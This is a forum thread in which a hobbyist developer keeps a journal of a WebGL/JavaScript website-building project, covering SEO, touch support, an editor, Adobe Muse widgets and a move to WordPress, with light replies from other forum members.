  • It is not “other-programmers” friendly, there is absolutely no way other programmers will be able to pick up a website I made and continue the job; it would require good documentation and I’m not sure I could obfuscate the modules in a way that would keep the main functions human readable and writeable. (createPolygon -> fhdyF? No.) There are two solutions: only use it for temporary websites (which greatly reduces the pool of possible clients.) or make an editor (which would require more work). Option two sounds like the only possible way and I guesstimate my project will need something like twice the time I evaluated it would require before getting out the doors. It’s ok, but that’s something I really didn’t think of in the beginning. [I need to add that I have made a simple test today and displaying seven grouped and centered squares with one centered letter in each of them takes up 190 lines of code, an editor will be needed; otherwise it would be ridiculous.]
  • When I thought up the project, I didn’t consider Search Engine Optimisation (SEO). That changes a lot of things, most of the text needs to be reachable for a crawler and I’m very far from being educated enough on that topic to be sure of what I am doing. Basically, I understand it means text needs to be output by my code as html. That also seems to mean that pages need to be reachable as conventional links. Fancy WebGL buttons seem to make no sense but I haven’t read everything about SEO and I have vaguely seen something that said some javascript links were visited by Google’s crawlers. So I will need to read more about these things.
  • Third flaw is not inherent but something I have to consider that I haven’t wanted to until now. Touch devices. I have not a line of code that considers touch devices. My input module has no “fallback” for touch events. What’s more is that it seems browsers still don’t agree on what events to fire when someone touches the screen. Wtf, browsers? I have found a library for that but it’s big (1400 lines).
  • Once all that is solved, the editor brings up a problem. It will not be very convenient for users of the editor to have to make the mobile version from scratch again once the desktop version is finished (or the opposite). All I know about this is that it will take a lot of consideration to make what is designed for either medium easily transferable to the other medium.
    [/LIST]
  • All that means a lot more work than I intended to do before having something releasable. My project needs more planning and more education on my part. All in all, if I really want to make websites, I will need to learn jQuery, Wordpress, Joomla, all these things I wanted to avoid with my project. Because it will help me understand what’s already being done, what’s coming and obviously help me make some money off of it.
  • The project will need to be plugin friendly, I have no idea how to do that. The project might become open source? It’s a lot of work. I’m estimating something like max 140 hours have been spent on it up to now.
  • Leaving the link to the touch library here: http://hammerjs.github.io/

September 15th -
Return of the dog picture

[LIST]
[]As I wrote in the last entry, I’ll be working on wrapping the whole thing into an “editor” now. For now, I will only integrate two features. Rectangle creation and file exportation. Conveniently enough, I already have something to put all my objects in: the groups data structure: Yay! A little tweaking will make it suitable for also holding non grouped elements and file exportation will be about scanning that structure and outputting a list of “creation methods” (createRectangle and such). I’m anticipating this bug: some aligned things need to be in a certain order (when I want a group of two groups to align a certain way, the first group will hold its align property and keep priority).
[
]I think I will display text as WebGL elements in the editor and turn them into DOM elements on exportation.
[/LIST] ----

  • Having an editor and something to interpret the exported files sounds like twice the job. Should I incorporate a mode variable? (editor_mode/browser_mode). Would it make my code convoluted? I need to think about this.

September 22nd -
Editors

  • Made it possible to create rectangles by clicking and dragging.
  • Looked around for competitors and found out about Adobe Muse. It’s like the successor of Dreamweaver. Somewhat better than Dreamweaver but very basic. I’ve decided to learn its “API” and make what they call a widget for it and sell it something like 10$. My widgets will be special elements that align relative to each other and are “responsive” (it’s how they call a website or elements that adapt to the size of the browser). I’ll be moving parts of what I did on this project and integrate it into those widgets. For now, to learn the basics for making widgets…
    https://adobe-muse.github.io/MuCowDocs/

September 26th -
Muse

[LIST]
[*]I have been integrating my code into Muse. Very easy, it’s already something like half done and all that will be needed will be some tweaks to make the thing user-friendly, feel professional and worth 10$. Only one problem… they want me to make sure my variables will not interfere with other variable names. I use one global variable and have no idea how else I could do it. I’ll try just naming it something really weird and long and leave a note to the content approver. Oh… and it’s a pain to import back again my code every time I do a change, but I’m patient; hopefully that thing will sell.
[/LIST] [/CODE]

December 22nd -
So I’m on holiday vacation so this is a perfect time to test my discipline whether if I can actually work 24 hours a week by myself and start making websites as a freelancer.

Some things have changed. First, screw Muse. No one uses Muse, it sucks.

I figured out Second, my JS project will be used to add the nifty elements to pages and not as a basis as I’ve first intended.

Third, now that I know what Wordpress actually is, I have no reason not to use it. It actually does something I thought I would have to code myself in a way more solid way than I could have done. A content management system! Had I known earlier!

January 1st -
I’ve luckily resolved the problem of rotating polygons quite easily. I was calling the wrong utility method.

SO… when do we get some journal entries? You can’t just tease us like this, it’s not fair.

Here you go, thanks for caring :smiley:

No problem but I think you’ve mistaken the term change-log for journal and by that I mean, I wouldn’t mind seeing a more fleshed out depiction of your thoughts. Examples being potential ideas and directions in which to take the project with consideration to various trade-offs and such.

Don’t believe him, 2ndwolf. He just wants to understand how your mind works so he can hack YOU.

In all seriousness, this is really interesting, and I second the journal.

That is stuff I think about during the day, I’ll add about that. Tell me if I’m doing it wrong.

Seems more like a journal now. Good stuff!

Some sketch:
[ATTACH=JSON]{“data-align”:“none”,“data-size”:“large”,“data-attachmentid”:187323}[/ATTACH]

what

Now I’m curious what chicken had to say.

Was going to say something along the lines of it being a mix between a design mockup and a word association game.

So the editor is still in the hello world phase and you plan to turn it around if I interpret this correctly?

I don’t know how far into production the hello world phase goes but the editor had buttons that reacted to the mouse.
I’ve removed them in favor of making a more flexible buttons module and some more work happened around that.
For now, I guess we can say the website is in the hello world phase since it displays test images and test text. I wouldn’t call it editor anymore because everything has been renamed, some things removed and others added.

edit:
the sketch shows what the main page will look like and a an interface that will allow access to my portfolio in a way that should make it feel abundant, diversified and flexible. Also, no bs, I don’t like portfolio websites so this is an effort at making something appealing. I want the user to feel like they are shopping for a Web page. They will be able to choose a theme that I’ve already made or something else entirely. I aim for my JS to be flexible enough to minimize the the work of making a new website as much as possible.

btw, what was “to turn it around” I’m not sure I understand that entirely.

That’s where I left. As can be seen it’s not really fleshed out and the prototyping ended a short time ago.
I’m unsure of how resizeAndAlign will work. Now that I’m looking at it, it might not be optimal to write one solely for text because images will need it too.
Maybe I’ll make images elements. But I also could externalize resizeAndAlign and make it run through images too.
I should make images elements.

[ATTACH=JSON]{“data-align”:“none”,“data-size”:“full”,“title”:“Untitgled.png”,“data-attachmentid”:187348}[/ATTACH]

After something like 6 hours spent staring at my code, I was happy to see this:
[ATTACH=JSON]{“data-align”:“none”,“data-size”:“large”,“data-attachmentid”:187381}[/ATTACH]

looks like it’s ready for a spar tourny

I’ve just read my journal… stuff will be aligned alright XD
Is anyone reading it?

Btw, tricxta I answered you on the last post of page 1. It’s easy to miss, so I don’t know if you read it.

Maybe tricxta, chicken or anyone who codes could help with this one.
I have something behaving unexpectedly but it doesn’t really have an impact because there’s an output to the console saying there was an error. I do not understand why it happens and it really only should happen when I make a mistake.

Should I investigate it or it would be a loss of time?

learn how to use the debugger